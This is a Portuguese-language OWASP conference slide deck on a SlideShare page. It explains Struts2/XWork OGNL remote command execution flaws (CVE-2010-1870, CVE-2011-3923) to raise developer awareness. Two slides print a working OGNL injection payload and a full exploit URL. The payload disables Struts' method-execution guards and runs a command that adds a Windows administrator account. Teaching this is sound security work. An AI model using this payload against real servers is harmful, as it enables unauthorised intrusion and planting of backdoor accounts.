SlideShare una empresa de Scribd logo
1 de 16
Struts2/XWork
Remote Command Execution




     Tiago Natel de Moura
       natel@owasp.org
Sobre mim

   Pesquisador e co-fundador do grupo BugSec Team.
    bugsec.googlecode.com
   Consultor de Segurança na SEC+.
    www.secplus.com.br
   Co-Fundador e Lider do Capítulo da OWASP de
    Florianópolis.
   Desenvolvedor de algumas ferramentas de
    segurança: http://github.com/tiago4orion
Experiências/Interesses
Linguagens:
       •   C, C++, Assembly, Lisp
Segurança:
       •   Desenvolvimento de Exploits;
       •   Buffer overflows (Stack/Heap Overrun);
       •   Network Protocol (TCP/UDP/IP, WEP/WPA, FTP/
           HTTP, etc)
       •   Análise de Malwares;
       •   Web Application Vulnerabilities (SQLI, XSS,
           CSRF, LFD/RFI, etc)
       •   Metodologias de segurança;
Sobre essa palestra
 Falar sobre uma falha crítica no framework
  Struts que permite ao atacante executar
  comandos no servidor.
 Concientizar os desenvolvedores sobre a
  importância da segurança na escolha das
  tecnologias utilizadas no projeto.
A verdade sobre os frameworks

Eles também possuem falhas de segurança ...

    − Todos eles...
        Java – Struts, Hibernate, Spring
        Microsoft .Net
        Ruby – Rails, Merb, Ramaze
        Python – Django, Twisted, web.py
        PHP – Zend, Symfony, Cake
    − Você audita o código do seu framework?
Um pouco sobre Struts e OGNL

 Struts2 é basicamente um framework para
  desenvolver aplicações web em Java
  utilizando a arquitetura de Model-View-
  Controller (MVC)
 Object-Graph Navigation Language (OGNL) é
  uma linguagem para acessar e setar
  propriedades de objetos Java.
 Struts2 trata os parametros HTTP como
  expressões OGNL.
CVE-2010-1870 – Struts2/XWork
     Remote Code Execution
The OGNL extensive expression evaluation capability in
  XWork in Struts 2.0.0 through 2.1.8.1, as used in
  Atlassian Fisheye, Crucible, and possibly other
  products, uses a permissive whitelist, which allows
  remote attackers to modify server-side context objects
  and bypass the "#" protection mechanism in
  ParameterInterceptors via the (1) #context, (2)
  #_memberAccess, (3) #root, (4) #this, (5)
  #_typeResolver, (6) #_classResolver, (7)
  #_traceEvaluations, (8) #_lastEvaluation, (9)
  #_keepLastEvaluation, and possibly other OGNL
  context variables, a different vulnerability than
  CVE-2008-6504.
CVE-2011-3923 - Apache Struts
'ParameterInterceptor' Class OGNL
         Security Bypass
Apache Struts is prone to a security-bypass
 vulnerability because it fails to adequately
 handle user-supplied input.
This issue is related to the vulnerability
 documented in BID 32101(XWork
 'ParameterInterceptor' Class OGNL Security
 Bypass Vulnerability).
Apache Struts versions 2.0.0 through 2.3.1.1 are
 vulnerable.
Múltiplas Vulnerabilidades...

•    Remote command execution in Struts <= 2.2.1.1
     (ExceptionDelegator)
•    Remote command execution in Struts <= 2.3.1
     (CookieInterceptor)
•    Arbitrary File Overwrite in Struts <= 2.3.1
     (ParametersInterceptor)
•    Remote command execution in Struts <= 2.3.1
     (DebuggingInterceptor)
Um exemplo de OGNL

http://server/your/web/app?page['language']=en




      action.getPage().setLanguage("en")
Como Struts2 e OGNL conduzem
  para uma execução remota de
             código
 OGNL existe para referenciar variáveis usando
  o prefixo '#'.
 Adicionalmente, existem contextos pré-
  definidos como #session, #context...
Como Struts2 e OGNL conduzem
  para uma execução remota de
             código
1. Descubriu-se que o módulo ParametersInterceptor o qual realiza a
   transformação das variáveis do GET para Java não escapa '#' de
   maneira apropriada quando ele é enviado como uma string unicode '
   u0023'.


2. Existem duas chaves de contextos importantes:
      − #context – OgnlContext – Este possui a propriedade chamada
        'xwork.MethodAccessor.denyMethodExecution' o qual nega a
        execução de um método.
      − #_memberAccess - SecurityMemberAccess, contém um
        campo chamado 'allowStaticAccess' o qual previne a
        execução de métodos estáticos.
Como Struts2 e OGNL conduzem
  para uma execução remota de
             código
É fácil ver aonde isso vai acabar ...
     #_memberAccess['allowStaticMethodAccess'] = true

     #foo = new java .lang.Boolean("false")

     #context['xwork.MethodAccessor.denyMethodExecution'] = #foo

     #rt = @java.lang.Runtime@getRuntime()

     #rt.exec('net user /add newadmin HACKED')
Como Struts2 e OGNL conduzem
      para uma execução remota de
                 código
   É facil ver aonde isso vai acabar...
               #_memberAccess['allowStaticMethodAccess'] = true

               #foo = new java .lang.Boolean("false")

               #context['xwork.MethodAccessor.denyMethodExecution'] = #foo

               #rt = @java.lang.Runtime@getRuntime()

               #rt.exec('net user /add newadmin HACKED')


http://vulnerable_host/login.action?
 ('u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&
 (aaa)(('u0023context['xwork.MethodAccessor.denyMethodExecution']u003du0023foo')
        (u0023foou003dnew%20java.lang.Boolean("false")))&
 (asdf)(('u0023rt.exec(“net%20user%20/add%20newadmin%20HACKED”)')
         (u0023rtu003d@java.lang.Runtime@getRuntime()))=1
Como escolher a tecnologia a ser
      usada no projeto?


  Consulte a comunidade de segurança!
The End




E-mail: natel <at> owasp.org
github: github.com/tiago4orion

Más contenido relacionado

La actualidad más candente

Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um poucoPalestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um poucoAs Zone
 
Tratamento de exceções java
Tratamento de exceções   javaTratamento de exceções   java
Tratamento de exceções javaAntonio Oliveira
 
Gerenciando aspectos e eventos com Zend Framework 2
Gerenciando aspectos e eventos com Zend Framework 2Gerenciando aspectos e eventos com Zend Framework 2
Gerenciando aspectos e eventos com Zend Framework 2Flávio Lisboa
 
O submundo dos hackers: ataques e defesas
O submundo dos hackers: ataques e defesasO submundo dos hackers: ataques e defesas
O submundo dos hackers: ataques e defesasCleórbete Santos
 
LabMM3 - Aula teórica 13
LabMM3 - Aula teórica 13LabMM3 - Aula teórica 13
LabMM3 - Aula teórica 13Carlos Santos
 

La actualidad más candente (8)

Tratamento de exceções em Java
Tratamento de exceções em JavaTratamento de exceções em Java
Tratamento de exceções em Java
 
Burlando Waf 2.0
Burlando Waf  2.0Burlando Waf  2.0
Burlando Waf 2.0
 
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um poucoPalestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
 
Tratamento de exceções java
Tratamento de exceções   javaTratamento de exceções   java
Tratamento de exceções java
 
Backtrack4 inguma
Backtrack4 ingumaBacktrack4 inguma
Backtrack4 inguma
 
Gerenciando aspectos e eventos com Zend Framework 2
Gerenciando aspectos e eventos com Zend Framework 2Gerenciando aspectos e eventos com Zend Framework 2
Gerenciando aspectos e eventos com Zend Framework 2
 
O submundo dos hackers: ataques e defesas
O submundo dos hackers: ataques e defesasO submundo dos hackers: ataques e defesas
O submundo dos hackers: ataques e defesas
 
LabMM3 - Aula teórica 13
LabMM3 - Aula teórica 13LabMM3 - Aula teórica 13
LabMM3 - Aula teórica 13
 

Destacado

Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Manobras Evasivas: Técnicas de Evasão para Varreduras com o Nmap
Manobras Evasivas: Técnicas de Evasão para Varreduras com o NmapManobras Evasivas: Técnicas de Evasão para Varreduras com o Nmap
Manobras Evasivas: Técnicas de Evasão para Varreduras com o NmapClavis Segurança da Informação
 
[Seminário] Ensino Médio: Como Aumentar a Atratividade das Escolas e Evitar a...
[Seminário] Ensino Médio: Como Aumentar a Atratividade das Escolas e Evitar a...[Seminário] Ensino Médio: Como Aumentar a Atratividade das Escolas e Evitar a...
[Seminário] Ensino Médio: Como Aumentar a Atratividade das Escolas e Evitar a...Instituto Unibanco
 
Examinando redes com Nmap
Examinando redes com NmapExaminando redes com Nmap
Examinando redes com NmapDaniel Marques
 
Entendendo como fazer um firewall pessoal
Entendendo como fazer um firewall pessoalEntendendo como fazer um firewall pessoal
Entendendo como fazer um firewall pessoalAlmir Mendes
 
Experiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Experiência e Cases com Auditorias Teste de Invasão em Redes e SistemasExperiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Experiência e Cases com Auditorias Teste de Invasão em Redes e SistemasClavis Segurança da Informação
 
Analisando eventos de forma inteligente para detecção de intrusos usando ELK
Analisando eventos de forma inteligente para detecção de intrusos usando ELKAnalisando eventos de forma inteligente para detecção de intrusos usando ELK
Analisando eventos de forma inteligente para detecção de intrusos usando ELKSegInfo
 

Destacado (8)

Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Manobras Evasivas: Técnicas de Evasão para Varreduras com o Nmap
Manobras Evasivas: Técnicas de Evasão para Varreduras com o NmapManobras Evasivas: Técnicas de Evasão para Varreduras com o Nmap
Manobras Evasivas: Técnicas de Evasão para Varreduras com o Nmap
 
[Seminário] Ensino Médio: Como Aumentar a Atratividade das Escolas e Evitar a...
[Seminário] Ensino Médio: Como Aumentar a Atratividade das Escolas e Evitar a...[Seminário] Ensino Médio: Como Aumentar a Atratividade das Escolas e Evitar a...
[Seminário] Ensino Médio: Como Aumentar a Atratividade das Escolas e Evitar a...
 
Examinando redes com Nmap
Examinando redes com NmapExaminando redes com Nmap
Examinando redes com Nmap
 
Entendendo como fazer um firewall pessoal
Entendendo como fazer um firewall pessoalEntendendo como fazer um firewall pessoal
Entendendo como fazer um firewall pessoal
 
Palestra Auditoria de Segurança em Redes sem Fio
Palestra Auditoria de Segurança em Redes sem FioPalestra Auditoria de Segurança em Redes sem Fio
Palestra Auditoria de Segurança em Redes sem Fio
 
Experiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Experiência e Cases com Auditorias Teste de Invasão em Redes e SistemasExperiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Experiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
 
Analisando eventos de forma inteligente para detecção de intrusos usando ELK
Analisando eventos de forma inteligente para detecção de intrusos usando ELKAnalisando eventos de forma inteligente para detecção de intrusos usando ELK
Analisando eventos de forma inteligente para detecção de intrusos usando ELK
 

Similar a Struts2 remote codeexecution

Como escolher o Framework Java para web?
Como escolher o Framework Java para web?Como escolher o Framework Java para web?
Como escolher o Framework Java para web?Anderson Araújo
 
Curso hacking com BT5
Curso hacking com BT5Curso hacking com BT5
Curso hacking com BT5Cassio Ramos
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguroCharles Fortes
 
Apostilava Java EE 5 - 2007
Apostilava Java EE 5 - 2007Apostilava Java EE 5 - 2007
Apostilava Java EE 5 - 2007Rafael Benevides
 
Novidades de Java EE 7
Novidades de Java EE 7Novidades de Java EE 7
Novidades de Java EE 7pt_programar
 
Como ser programador durante o dia e mesmo assim dormir bem à noite
Como ser programador durante o dia e mesmo assim dormir bem à noiteComo ser programador durante o dia e mesmo assim dormir bem à noite
Como ser programador durante o dia e mesmo assim dormir bem à noiteComunidade NetPonto
 
TDC2016POA | Trilha Android - Testes no Android
TDC2016POA | Trilha Android - Testes no AndroidTDC2016POA | Trilha Android - Testes no Android
TDC2016POA | Trilha Android - Testes no Androidtdc-globalcode
 
TDC2016POA | Trilha Android - Testes no Android
TDC2016POA | Trilha Android - Testes no AndroidTDC2016POA | Trilha Android - Testes no Android
TDC2016POA | Trilha Android - Testes no Androidtdc-globalcode
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...iMasters
 
WebSocket com Node.js ( socketstream && coffeescript ) X RoR ( Juggernaut )
WebSocket com Node.js ( socketstream && coffeescript ) X RoR ( Juggernaut )WebSocket com Node.js ( socketstream && coffeescript ) X RoR ( Juggernaut )
WebSocket com Node.js ( socketstream && coffeescript ) X RoR ( Juggernaut )João Moura
 

Similar a Struts2 remote codeexecution (20)

Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
Sql injection
Sql injectionSql injection
Sql injection
 
Como escolher o Framework Java para web?
Como escolher o Framework Java para web?Como escolher o Framework Java para web?
Como escolher o Framework Java para web?
 
Java e orientação a objetos
Java e orientação a objetosJava e orientação a objetos
Java e orientação a objetos
 
Workshop05
Workshop05Workshop05
Workshop05
 
Curso hacking com BT5
Curso hacking com BT5Curso hacking com BT5
Curso hacking com BT5
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguro
 
Apostilava Java EE 5 - 2007
Apostilava Java EE 5 - 2007Apostilava Java EE 5 - 2007
Apostilava Java EE 5 - 2007
 
Novidades de Java EE 7
Novidades de Java EE 7Novidades de Java EE 7
Novidades de Java EE 7
 
Framework Entities
Framework EntitiesFramework Entities
Framework Entities
 
Como ser programador durante o dia e mesmo assim dormir bem à noite
Como ser programador durante o dia e mesmo assim dormir bem à noiteComo ser programador durante o dia e mesmo assim dormir bem à noite
Como ser programador durante o dia e mesmo assim dormir bem à noite
 
TDC2016POA | Trilha Android - Testes no Android
TDC2016POA | Trilha Android - Testes no AndroidTDC2016POA | Trilha Android - Testes no Android
TDC2016POA | Trilha Android - Testes no Android
 
TDC2016POA | Trilha Android - Testes no Android
TDC2016POA | Trilha Android - Testes no AndroidTDC2016POA | Trilha Android - Testes no Android
TDC2016POA | Trilha Android - Testes no Android
 
Webgoat Project - Apresentação
Webgoat Project - ApresentaçãoWebgoat Project - Apresentação
Webgoat Project - Apresentação
 
Doctrine for dummies
Doctrine for dummiesDoctrine for dummies
Doctrine for dummies
 
Introdução ao struts 2
Introdução ao struts 2Introdução ao struts 2
Introdução ao struts 2
 
Java security
Java securityJava security
Java security
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
 
WebSocket com Node.js ( socketstream && coffeescript ) X RoR ( Juggernaut )
WebSocket com Node.js ( socketstream && coffeescript ) X RoR ( Juggernaut )WebSocket com Node.js ( socketstream && coffeescript ) X RoR ( Juggernaut )
WebSocket com Node.js ( socketstream && coffeescript ) X RoR ( Juggernaut )
 
Exploits
ExploitsExploits
Exploits
 

Struts2 remote codeexecution

  • 1. Struts2/XWork Remote Command Execution Tiago Natel de Moura natel@owasp.org
  • 2. Sobre mim  Pesquisador e co-fundador do grupo BugSec Team. bugsec.googlecode.com  Consultor de Segurança na SEC+. www.secplus.com.br  Co-Fundador e Lider do Capítulo da OWASP de Florianópolis.  Desenvolvedor de algumas ferramentas de segurança: http://github.com/tiago4orion
  • 3. Experiências/Interesses Linguagens: • C, C++, Assembly, Lisp Segurança: • Desenvolvimento de Exploits; • Buffer overflows (Stack/Heap Overrun); • Network Protocol (TCP/UDP/IP, WEP/WPA, FTP/ HTTP, etc) • Análise de Malwares; • Web Application Vulnerabilities (SQLI, XSS, CSRF, LFD/RFI, etc) • Metodologias de segurança;
  • 4. Sobre essa palestra  Falar sobre uma falha crítica no framework Struts que permite ao atacante executar comandos no servidor.  Concientizar os desenvolvedores sobre a importância da segurança na escolha das tecnologias utilizadas no projeto.
  • 5. A verdade sobre os frameworks Eles também possuem falhas de segurança ... − Todos eles...  Java – Struts, Hibernate, Spring  Microsoft .Net  Ruby – Rails, Merb, Ramaze  Python – Django, Twisted, web.py  PHP – Zend, Symfony, Cake − Você audita o código do seu framework?
  • 6. Um pouco sobre Struts e OGNL  Struts2 é basicamente um framework para desenvolver aplicações web em Java utilizando a arquitetura de Model-View- Controller (MVC)  Object-Graph Navigation Language (OGNL) é uma linguagem para acessar e setar propriedades de objetos Java.  Struts2 trata os parametros HTTP como expressões OGNL.
  • 7. CVE-2010-1870 – Struts2/XWork Remote Code Execution The OGNL extensive expression evaluation capability in XWork in Struts 2.0.0 through 2.1.8.1, as used in Atlassian Fisheye, Crucible, and possibly other products, uses a permissive whitelist, which allows remote attackers to modify server-side context objects and bypass the "#" protection mechanism in ParameterInterceptors via the (1) #context, (2) #_memberAccess, (3) #root, (4) #this, (5) #_typeResolver, (6) #_classResolver, (7) #_traceEvaluations, (8) #_lastEvaluation, (9) #_keepLastEvaluation, and possibly other OGNL context variables, a different vulnerability than CVE-2008-6504.
  • 8. CVE-2011-3923 - Apache Struts 'ParameterInterceptor' Class OGNL Security Bypass Apache Struts is prone to a security-bypass vulnerability because it fails to adequately handle user-supplied input. This issue is related to the vulnerability documented in BID 32101(XWork 'ParameterInterceptor' Class OGNL Security Bypass Vulnerability). Apache Struts versions 2.0.0 through 2.3.1.1 are vulnerable.
  • 9. Múltiplas Vulnerabilidades... • Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator) • Remote command execution in Struts <= 2.3.1 (CookieInterceptor) • Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor) • Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
  • 10. Um exemplo de OGNL http://server/your/web/app?page['language']=en action.getPage().setLanguage("en")
  • 11. Como Struts2 e OGNL conduzem para uma execução remota de código  OGNL existe para referenciar variáveis usando o prefixo '#'.  Adicionalmente, existem contextos pré- definidos como #session, #context...
  • 12. Como Struts2 e OGNL conduzem para uma execução remota de código 1. Descubriu-se que o módulo ParametersInterceptor o qual realiza a transformação das variáveis do GET para Java não escapa '#' de maneira apropriada quando ele é enviado como uma string unicode ' u0023'. 2. Existem duas chaves de contextos importantes: − #context – OgnlContext – Este possui a propriedade chamada 'xwork.MethodAccessor.denyMethodExecution' o qual nega a execução de um método. − #_memberAccess - SecurityMemberAccess, contém um campo chamado 'allowStaticAccess' o qual previne a execução de métodos estáticos.
  • 13. Como Struts2 e OGNL conduzem para uma execução remota de código É fácil ver aonde isso vai acabar ... #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('net user /add newadmin HACKED')
  • 14. Como Struts2 e OGNL conduzem para uma execução remota de código É facil ver aonde isso vai acabar... #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('net user /add newadmin HACKED') http://vulnerable_host/login.action? ('u0023_memberAccess['allowStaticMethodAccess']')(meh)=true& (aaa)(('u0023context['xwork.MethodAccessor.denyMethodExecution']u003du0023foo') (u0023foou003dnew%20java.lang.Boolean("false")))& (asdf)(('u0023rt.exec(“net%20user%20/add%20newadmin%20HACKED”)') (u0023rtu003d@java.lang.Runtime@getRuntime()))=1
  • 15. Como escolher a tecnologia a ser usada no projeto? Consulte a comunidade de segurança!
  • 16. The End E-mail: natel <at> owasp.org github: github.com/tiago4orion